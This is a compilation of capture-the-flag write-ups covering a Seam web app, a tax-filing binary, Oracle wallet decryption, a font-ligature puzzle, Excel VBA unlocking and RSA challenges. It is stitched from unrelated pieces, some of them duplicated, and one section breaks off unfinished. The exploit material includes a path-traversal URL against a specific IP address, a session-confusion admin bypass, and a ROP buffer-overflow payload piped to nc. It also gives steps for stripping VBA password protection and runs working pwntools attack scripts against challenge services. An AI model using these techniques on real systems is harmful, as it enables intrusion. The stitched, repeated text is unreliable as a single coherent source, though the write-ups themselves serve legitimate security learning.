The first page we can see is a login page. Hanging around a little, we can list a few interesting pages : - The css.seam page take a filename as parameter. - The logout button take a parameter that corresponds to "view:object.method" format. - The report.seam page permits to send a URL to the administrator, but only URL that is intern to the application.
With the css.seam page, we can list directories and files at the root of the application :
http://52.198.197.227:8080/angryseam/css.seam?location=../../../

Reading the WEB-INF/pages.xml, we can view that there is a flag.xhtml, and we can deduce there is a flag.seam too. However, we saw that we must be admin to access it.
http://52.198.197.227:8080/angryseam/css.seam?location=../../../WEB-INF/pages.xml

The first thing I tried, with little hope, was to play with the session. **Logged in as lambda user**, I tried to go on register.seam and register with "admin" username.

Error message, the user is existing. But... it changed my session, and I'm logged in as admin now! I can browse the flag.seam as admin, and tada!, the flag.

I'm pretty sure this wasn't the intended way to solve this. But... I think it was the easiest way to do it! :)
_Blaklis from Fourchette-Bombe_ |
python -c "import struct; print('1\n1\n1\n1\n1\n3\n1\n1\n1\n1\n' + '\x00' * 25 + struct.pack('i', 0x80489db) + struct.pack('i', 0x8048ac2))" | nc irs.pwn.republican 4127<span> ...</span>y/nYour changes have been recorded!flag�@{c4n�_1_g�@ 3t_a�@_r3f�@und}�<span>flag{c4n_1_g3t_a_r3fund}Full writeup</span> |
# LSSO (misc, 200 points, solved by 11)
I did not actually solve this challenge during the competition.I got hung up looking for NTFS streams (ADS) in the rarfile, when really the hostname and username were in a much simpler place.
## Challenge
> All my passwords are safely stored, or not?
Attachment: [misc200_87229453a454b44d.zip](misc200_87229453a454b44d.zip)
## Solution
The attachment contains a rar file which contains `cwallet.sso` and `ewallet.p12`. Some searching quickly reveals [ssoDecrypt](https://github.com/tejado/ssoDecrypt).
Install prereqs and compile in fresh ubuntu vm:``` bash# Install java cryptography extension (JCE) unlimited strength jurisdiction policysudo add-apt-repository ppa:webupd8team/javasudo apt updatesudo apt install oracle-java7-unlimited-jce-policy # Compile ssoDecryptgit clone https://github.com/tejado/ssoDecrypt.gitcd ssoDecrypt && javac -cp .:libs/:libs/bcprov-jdk16-145.jar ssoDecryptor.java```
Attempt to decrypt the sso file:``` bash$ ./ssoDecrypt.sh cwallet.ssoPKCS12 key store mac invalid - wrong password or corrupted file.PKCS12 key store mac invalid - wrong password, wrong LSSO secret (username + hostname) or corrupted file.```
Because this is an LSSO, we need a username and hostname. ``` bash$ unrar v ekochall.rar
UNRAR 5.00 beta 8 freeware Copyright (c) 1993-2013 Alexander Roshal
By Hugo@ekodesktop
Archive: ekochall.rarDetails: RAR 4
Attributes Size Packed Ratio Date Time Checksum Name----------- --------- -------- ----- -------- ----- -------- ---- ..A.... 3981 3981 100% 07-10-16 23:13 21A2D217 ekochall/cwallet.sso ..A.... 3904 3904 100% 07-10-16 23:13 0F2C4F8A ekochall/ewallet.p12 ...D... 0 0 0% 07-10-16 23:09 00000000 ekochall----------- --------- -------- ----- -------- ----- -------- ---- 7885 7885 100% 3```
Rerunning with the username and hostname gets us the flag:``` bash$ ./ssoDecrypt.sh cwallet.sso Hugo ekodesktopsso key: a252ece7d911fa0esso secret: 0e6b16ac78d6231bd237e71e0bb931c53765a6bf8f356acdobfuscated password: 444a4f701601137b7447745039566b03p12 password (hex): 2b416f615a571a645f442766103d2334------------------------------------------------------------------------------------------------------Credential #1: ekoparty/EKO{vPgsSHXO0LiHlZk667Xr}@ekoparty
```
Flag: EKO{vPgsSHXO0LiHlZk667Xr} |
# Double Agent (for, 250 points, solved by 24)
## Challenge
> We have a man on the inside of Trump's campaign, but he's too afraid to leak secrets through normal communication methods.> He swapped out the normal font on the campaign website for this one, and we suspect his data is inside.> > [lexicographic.otf](./lexicographic.646ab52fa361f7d2b3649ccca31a26771ac7f30dad486e1880434210b9d83ae6.otf)> > author's irc nick: Lense> > EDIT: We provided the font. You do not need to go to any website to solve this.
## Solution
On initial inspection in a font viewer, there are some extra glyphs in the unicode section, but not in the right order.

Those glyphs are not likely to show up in everyday writings, perhaps there is another way for the font to make them show up in "normal" text?Checking some things in font forge eventually reveals:

There are ligatures that point to those extra glyphs. It looks like there is one for every character. Let's try to translate a string using this ligature table and [translate.py](./translate.py).
``` bash# Install libraries for fonts and xml$ pip install fonttools untangle# Export font to xml file$ ttx lexicogprahic*.ttf# Translate a string ("A".."Z") to new glyphs$ ./translate.pyflag{itsallintheligatures}```
Flag: flag{itsallintheligatures} |
First we open the document, click in the enable edit button and then select the option save as {Excel Book 97-2003}. Close the current file and open the new one with and hex editor, i use HxDes.Search for the "DPB=" string (without quotes), and change for --> DBx= and save the changes.After that, open the excel file,click enable content button and after thet press Alt + F11 and click yes option in the alert window. An error window appears and click yes again, Then select Settings -- VBAproject properties and a window will open. Click on the protection option and then write in the passsword´s fields the same password and click acept/ok. Follow the steps, open Settings--VBAproject and click in the protection option. Now deselect the proyect block option and erase<span> both password fields, so that they are <span>empty and click acept/ok option. We can see there are 2 sheets, the form sheet, and the answer sheet, if we try to open last one, we can´t, so we gonna copy its contents into a new one.In left panel, double click ThisWorkbook and in the right appears a cursor, copy the following code :Sub CopyHidden()Dim wbNuevo As WorkbookDim wsMuyEscondida As WorksheetDim rngCelda As RangeSet wbNuevo = Workbooks.AddSet wsMuyEscondida = Hoja2For Each rngCelda In wsMuyEscondida.UsedRangerngCelda.Copy wbNuevo.Sheets(1).Range(rngCelda.Address)Next rngCeldaEnd Suband then press F5 to exec the code and wait for a while, only a few seconds, and you get the flag in a new file, the flag is: EKO{HIDDEN_SHEET_123}i don´t have the post in the blog yet, but i´m gonna do soon, tomorrow (monday) at the night it will be with pictures to figure out step by step. Thanks for your comments.LuisAcostaS </span></span> |
# IRS - Exploitation - 100 points
> Good day fellow Americans. In the interest of making filing your tax returns as easy and painless as possible, we've created this nifty lil' program to better serve you! Simply enter your name and file away! And don't you worry, everyone's file is password protected ;)> > nc irs.pwn.republican 4127> or backup:> nc irs-2.pwn.republican 4127> > irs> > irc: pige0n
First version of this program had the actual flag embedded in the given binary, which made the challenge more of a very easy RE than exploitation. The second version had the flag replaced, and you had to do some _actual_ exploitation.
The flaw in the program is that `gets` is used to get the answer to the `y/n` question after editing a tax record, which leads to a standard buffer overflow which can then be used to ROP. It's made slightly harder by the fact that the version on the server does not match _exactly_ the version given (Because of the replaced flag) so some offsets are slightly different. The simplest solution is to just use `printf` in the PLT to write out various parts of the program until you find `main`, which sets the flag as the password at the beginning of the function. The revealed flag is `flag{c4n_1_g3t_a_r3fund}` |
# TOPKEK (50 p)
```A CNN reporter had only one question that she couldn't get off her mind
Do we even know, who is this 4 CHAN???
So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?```
There is a ciphertext attached to this challenge, which contains the following:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
First guess is a binary, and judging from the amount of points given for this challenge, that is probably no more complicated than that. `TOP` is either `0` or `1` and the number of `!` denotes the number of each symbol. We try both and find that `TOP` maps to `1`, so `KEK` is `0`. The following code decodes the ciphertext.
```pythonsplit_cipher = ciphertext.split()decrypted = ''for block in split_cipher: if block.startswith('KEK'): decrypted += '0' * (len(block) - 3) else: decrypted += '1' * (len(block) - 3)
decrypted = int(decrypted, 2)print libnum.n2s(decrypted)```
This gives
```flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}```# Trump Trump (100 p)
```With Trump about to be in office, autographed photos of him are selling like wildfire. The only problem is:Trump makes it a point to never sign a photo of himself. If you could get a signed picture, you could stand to make DOZENS of dollars.
nc trumptrump.pwn.republican 3609```
We get the following parameters
```pythone = 65537N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263```Converting the image to a number
```pythonf = open('trump.jpg', 'r')data = libnum.s2n(f.read()) % N```
we try to submit it, which incidentially fails. We can exploit that sign(a) × sign(b) = sign(a × b). Since the image is divisible by for instance 5, we can factor out this and sign the two parts separately.
```sign(data / 5) = 15742105247958736958004859844860106392650529642491444791655288653059139800053206167023792876159338330811553994563264038797209523053486931817881299156223450837206775783069574776254654197337314541494064874054449749920216258529257414289049794126137529358458843274774718683434637726891822317083908587215429977340799931758155377373656742947190372216055450421108566287038161365843817023142180328035768992726841684537565155117632165969899505426984495819465218509929865350057283134017766501372618581237936784285588661088765130624093014320161531747074858737002260566015050922492437422682387506583350890218827504186050632600504sign(5) = 18938431620064949405099081881389422411569506620645684785718437650149907701313939238017399264771270907473551575023831816899182480214946633959498312433619616816861526269114681215528914329791099013891595131862543300865871379621247867883669403120593815746911158013483346808195756730946735362037791985948842449343328484149265803462983935765047801620079220588638013959948297979415581591179722303271496129424130559547762467547913292325129340535450673107267746074776721093375970510983576513946461957148135755448610570645462794635156136176208419134557678284424568016798221633694322809374691561612990098051154456165773266086828```so,
```sign(data) = 7240527260044126899075832339973255923943354335060037001558105343295495841635843603507411996488568977206115374657942401805673165802944813082589201103827861325639581582005106924492724100812077464571265915352012064311221086996199961637876724784326540728342282620427706011099830010859187486529928704673604893811823836195858916605646466850177580221970723526928598144155086898666864544017092301766812496415256830844105167571316067435310083881243302996555421199570092966497927454347195963984192282682803663188954259681974561132158520131591167970511602803401392202553720288822909116428852233039667283953852194960467196349739```
Sending this to the service, we get
```Duneld Trump: Well, I already met my quota for Guantanimo Bay inmates today, so okay.Trump looks shocked, appalled by the fact that he'd sign a picture of himself for such a not-billionaire.Trump sprints away at a blinding 2mph, dropping what he was carrying.It's a stack of photos, you pick one up and look at it.ffd8ffe000104a46494600010101006000600000ffdb0043000302020302020303030304030304050805050404050a070706080c0a0c0c0b0a0b0b0d0e12100d0e110e0b0b1016101113141515150c0f171816141812141514ffdb00430103040405040509050509140d0b0d1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ffc20011080173029403011100021101031101ffc4001d000002020301010100000000000000000003040102000506070809ffc4001b01000301010101010000000000000000000002030104050607ffda000c03010002100310000001f9904c0c090837024303025896590c36431480cc202776420c90c0c08090c090c090c3242c6f5136f41853dd38e9d0ab557756b58562b284099bb4657767675d55339066f27e8978ef673ebc3030dc08090c330303021770302ccb3b9218658622e955ec8d20...```
Let us write code to make it viewable:
```pythonimport libnumfrom pwn import *
v = remote('trumptrump.pwn.republican', 3609)v.recv(1024)v.send(str(s) + '\r\n')
for i in range(4): v.recvline()data = v.recvline()open('trump1.jpg','w').write(libnum.n2s(int(data, 16)))```

# Vermatrix Supreme (100 p)
```Working in IT for a campaign is rough; especially when your candidate uses his password as the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. See if you can get it back for him.The only hard part is, he changes it whenever he feels like it.
nc vermatrix.pwn.democrat 4201```
Along this, we get the code for the encryption scheme.
```pythonimport sys, random, time
flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}"
def printmat(matrix): for row in matrix: for value in row: print value, print "" print ""
def pad(s): if len(s)%9 == 0: return s for i in xrange((9-(len(s)%9))): s.append(0) return s
def genBlockMatrix(s): outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)] for matnum in xrange(0,len(s)/9): for y in xrange(0,3): for x in xrange(0,3): outm[matnum][y][x] = s[(matnum*9)+x+(y*3)] return outm
def fixmatrix(matrixa, matrixb): out = [[0 for x in xrange(3)] for x in xrange(3)] for rn in xrange(3): for cn in xrange(3): out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) return out
def chall(): IV = [c for c in '?????????'] seed = "??????????????????"
blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed]))
res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
print "SEED: " + str(seed) printmat(res)
data = raw_input("")
data = data.replace(' ', '').strip().split(',')
if len(data) != 9: return False
for i in xrange(len(IV)): if str(IV[i]) != str(data[i]): return False
return True
if chall(): print flag```
The `IV` is a series of 9 numbers in some undefined range. Instead of spending a bunch of time to find some algebraic relations that we can exploit, we can use Z3. We define a set of variables (BitVec) for Z3, representing the unknown `IV`. Since the matrix we receive should contain the same values as the computed one, given `seed` and the correct `IV`, we set up equality relations.
```pythonfrom z3 import *from pwn import *from vermatrix import *
def find_iv(seed, target): s = Solver() IV = [BitVec('%d' % i, 32) for i in range(1,10)] blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed])) res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
for y1, y2 in zip(res, target): for x1, x2 in zip(y1, y2): s.add(x1 == x2) # they should be equal! return s```
Now, we can use this routine in connecting to the server as follows:
```pythoncontext.log_level = 'error'v = remote('vermatrix.pwn.democrat', 4201)
seed = v.recvline().split()[1]target_matrix = [[int(x) for x in v.recvline().split()] for i in range(0, 3)]s = find_iv(seed, target_matrix)
if s.check() == sat: m = s.model() out = [0]*9 for x in m: out[int(str(x))-1] = m[x] v.send(str(out)[1:-1] + '\n') print 'FLAG: {0}'.format(v.recvline())```
Running the whole code, we obtain
```flag{IV_wh4t_y0u_DiD_Th3r3}```
# Boxes of Ballots (200 p)
```Privjet Komrade!
While doing observing of Amerikanski's voting infrascture we find interesting box. We send operative to investigate. He return with partial input like showing below.He say box very buggy but return encrypted data sometimes. Figure out what box isdo; maybe we finding embarass material to include in next week bitcoin auction, yes?
ebug": true, "data": "BBBBBBBBBBBBBBBB", "op": "enc"}
nc boxesofballots.pwn.republican 9001```
This challenge is very similar to [this](https://github.com/grocid/CTF/tree/master/IceCTF/2016#l33tcrypt-90-p)). We can solve it as follows:
```pythonfrom pwn import *import jsonimport string
def getdata(res): for l in res.split('\n'): if l.startswith('{"Status"'): return json.loads(l)['data']
def getreference(buflen, v): data = {"debug": False, "data": 'x'*buflen , "op": "enc"} payload = json.dumps(data).replace('False', 'false') v.send(payload + '\n') response = v.recv(1024) ref = getdata(response)[:64] return ref
context.log_level = 'error'v = remote('boxesofballots.pwn.republican', 9001)result = ""buflen = 31
while buflen: ref = getreference(buflen, v)
for i in string.printable: data = {"debug": False, "data": 'x'*buflen + result + i, "op": "enc"} payload = json.dumps(data).replace('False', 'false')
v.send(payload + '\n') response = v.recv(1024) res = getdata(response) if res[:64] == ref: result += i buflen -= 1 print result break else: print "[-] Error" exit(-1)```
gives
```flag{Source_iz_4_noobs}```
Michał Żuberek ([Z](http://z.bigi.pl)) of my team Snatch the Root solved this one.
# The Best RSA (250 p)
```At his last rally, Trump made an interesting statement:
I know RSA, I have the best RSAThe more bits I have, the more secure my cyber, and my modulus is YUUUUUUUUUUUUUGEWe don't believe his cyber is as secure as he says it is. See if you can break it for us```
We get a file with a public exponent `e = 65537` and a massive public modulus `N`. Clearly, there is something strange with this modulus. The first obvious move is to check for small factors, and in fact, we find that 3 is a factor. Not once, but several times. The whole modulus consist of very small prime factors. Let us write some code to factor it!
```pythonimport libnum, grocid, challenge
def get_private_exponent(phi, e): return libnum.modular.invmod(e, phi)
def find_factors(n, h): primes = grocid.sieve(h) factors = {} for p in primes: while n % p == 0: n = n / p if p in factors: factors[p] +=1 else: factors[p] = 1 return factors
print '[+] Factoring n...'single_factors = find_factors(challenge.n, 10000)```
OK, so we got a dictionary containing each prime factor and its corresponding exponent. It looks like this:
```python{3: 1545, 5: 1650, 7: 1581, 137: 1547, 11: 1588, 13: 1595, 17: 1596, 19: 1553, 149: 1572, 23: 1579, 29: 1549, 31: 1613, 163: 1589, 37: 1594, 167: 1578, 41: 1524, 43: 1538, 173: 1617, 47: 1571, 229: 1610, 179: 1556, 53: 1635, 59: 1556, 151: 1549, 61: 1605, 181: 1582, 193: 1549, 67: 1606, 197: 1520, 71: 1589, 73: 1571, 241: 1564, 79: 1548, 83: 1630, 139: 1638, 89: 1535, 199: 1574, 223: 1610, 97: 1456, 227: 1600, 131: 1540, 101: 1514, 103: 1583, 233: 1564, 107: 1591, 109: 1529, 239: 1556, 157: 1600, 113: 1601, 211: 1544, 251: 1493, 191: 1564, 127: 1565}```
So, we can compute ϕ and the corresponding private exponent:
```pythonphi = challenge.nprint '[+] Computing phi...'for p in single_factors: phi = phi / p * (p - 1)
print '[+] Computing private exponent'd = get_private_exponent(phi, 65537)```
This enables us to decrypt! However, if you try it, you will probably notice that it takes quite some time and memory to compute cᵈ (mod n). Now, we can speed this a bit using CRT. So, we compute cᵈ (mod 3¹⁵⁴⁵) and so on separately, for each prime factor and then use CRT to reconstruct the whole message:
```pythonremainders = []moduli = []
for p in single_factors: modulus = pow(p, single_factors[p]) moduli.append(modulus) remainder = pow(challenge.c, d, modulus) remainders.append(remainder)
plaintext = libnum.modular.solve_crt(remainders, moduli)print 'Message: {0}'.format(libnum.n2s(plaintext))```
It still takes some time to complete, but it is managable (left it running while doing other stuff so...). It could possibly be made faster by Hensel lifting, but I decided not to try it. When done, we get a message which is a image file.:

# Baby's hands (300 p)```We think that Trump's right hand man has been sending out flags from his personal computer, but we need to be sure. See if you can make anything out of the trafficwe intercepted.```
The initial two lines are
```python{d:n:c}{64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109:162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677:161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009}```
OK, so the private exponent `d` is published. We try to compute cᵈ (mod n) and look at the binary data with binwalk. No results. Hm... so, what if we need the public exponent `e` to compute the plaintext? We can probably find this with Wieners attack! Let us try it!
```pythonimport libnum, grocid
f = open('intercepted', 'r')
data = f.read()data = data.split('\n')
for line in data[1:]: d, n, c = [int(x) for x in line[1:-1].split(':')] e = grocid.wiener.attack(d, n)```
This yields
```flag{G3t_1t?_1t_h4s_4_sm4ll_d}```
# SMTPresident (400 p)
```The FBI reopened their investigation of Hillary Clinton after they recovered some interesting files from her personal email server.
emailspubkeysflag```
The file `pubkeys` contains a set of public keys with very small public exponent (e = 17). Assuming that every message sent on the same date is identical, we can use Håstad's broadcast attack. Incidentially, we have 17 of each every date. The following Python code will do just fine:
```pythonfrom os import listdirfrom os.path import isfile, joinfrom Crypto.PublicKey import RSAfrom base64 import b64decodeimport re, libnum, gmpy
def get_files(path): return [f for f in listdir(path) if isfile(join(path, f))] pubkeysfiles = get_files('./pubkeys')emailfiles = get_files('./emails')pubkeys = {}encrypted_emails = {}
for pubkeyfile in pubkeysfiles: f = open('./pubkeys/' + pubkeyfile, 'r') data = f.read().replace('-----BEGIN RSA PUBLIC KEY-----', '').replace('-----END RSA PUBLIC KEY-----', '') data = b64decode(data) pubkeys[pubkeyfile] = RSA.importKey(data) f.close()
for emailfile in emailfiles: f = open('./emails/' + emailfile, 'r') data = f.read() sender = re.findall('To: (.*)@dnc', data)[0] date = re.findall('Date: (.*)\n', data)[0] content = re.findall('Content: (.*)', data)[0] if not date in encrypted_emails: encrypted_emails[date] = {} encrypted_emails[date][sender] = int(content, 16)
message_content = Falsefor date in encrypted_emails: moduli = [] remainders = [] for x in encrypted_emails[date]: moduli.append(pubkeys[x].n) remainders.append(encrypted_emails[date][x])
x = libnum.modular.solve_crt(remainders, moduli) x0 = gmpy.mpz(x) xr = x0.root(17) message = libnum.n2s(int(xr[0])) if not message_content: message_content = ['?'] * len(message) for i, c in enumerate(message): if c != '#': message_content[i] = c
print ''.join(message_content)```
which outputs
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
OK, so let us assume that the key mentioned in the message is the lower bits of the private exponent. There is a method to solve this problem. A script which implements this method can be found [here](https://github.com/grocid/CTF/tree/master/CSAW/2016#still-broken-box-400-p) and [here](https://grocid.net/2016/03/14/0ctf-equation/).
Unfortunately, the computation did not finish (e = 65537 takes some time to run, even multithreaded). Pity. |
# TOPKEK (50 p)
```A CNN reporter had only one question that she couldn't get off her mind
Do we even know, who is this 4 CHAN???
So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?```
There is a ciphertext attached to this challenge, which contains the following:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
First guess is a binary, and judging from the amount of points given for this challenge, that is probably no more complicated than that. `TOP` is either `0` or `1` and the number of `!` denotes the number of each symbol. We try both and find that `TOP` maps to `1`, so `KEK` is `0`. The following code decodes the ciphertext.
```pythonsplit_cipher = ciphertext.split()decrypted = ''for block in split_cipher: if block.startswith('KEK'): decrypted += '0' * (len(block) - 3) else: decrypted += '1' * (len(block) - 3)
decrypted = int(decrypted, 2)print libnum.n2s(decrypted)```
This gives
```flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}```# Trump Trump (100 p)
```With Trump about to be in office, autographed photos of him are selling like wildfire. The only problem is:Trump makes it a point to never sign a photo of himself. If you could get a signed picture, you could stand to make DOZENS of dollars.
nc trumptrump.pwn.republican 3609```
We get the following parameters
```pythone = 65537N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263```Converting the image to a number
```pythonf = open('trump.jpg', 'r')data = libnum.s2n(f.read()) % N```
we try to submit it, which incidentially fails. We can exploit that sign(a) × sign(b) = sign(a × b). Since the image is divisible by for instance 5, we can factor out this and sign the two parts separately.
```sign(data / 5) = 15742105247958736958004859844860106392650529642491444791655288653059139800053206167023792876159338330811553994563264038797209523053486931817881299156223450837206775783069574776254654197337314541494064874054449749920216258529257414289049794126137529358458843274774718683434637726891822317083908587215429977340799931758155377373656742947190372216055450421108566287038161365843817023142180328035768992726841684537565155117632165969899505426984495819465218509929865350057283134017766501372618581237936784285588661088765130624093014320161531747074858737002260566015050922492437422682387506583350890218827504186050632600504sign(5) = 18938431620064949405099081881389422411569506620645684785718437650149907701313939238017399264771270907473551575023831816899182480214946633959498312433619616816861526269114681215528914329791099013891595131862543300865871379621247867883669403120593815746911158013483346808195756730946735362037791985948842449343328484149265803462983935765047801620079220588638013959948297979415581591179722303271496129424130559547762467547913292325129340535450673107267746074776721093375970510983576513946461957148135755448610570645462794635156136176208419134557678284424568016798221633694322809374691561612990098051154456165773266086828```so,
```sign(data) = 7240527260044126899075832339973255923943354335060037001558105343295495841635843603507411996488568977206115374657942401805673165802944813082589201103827861325639581582005106924492724100812077464571265915352012064311221086996199961637876724784326540728342282620427706011099830010859187486529928704673604893811823836195858916605646466850177580221970723526928598144155086898666864544017092301766812496415256830844105167571316067435310083881243302996555421199570092966497927454347195963984192282682803663188954259681974561132158520131591167970511602803401392202553720288822909116428852233039667283953852194960467196349739```
Sending this to the service, we get
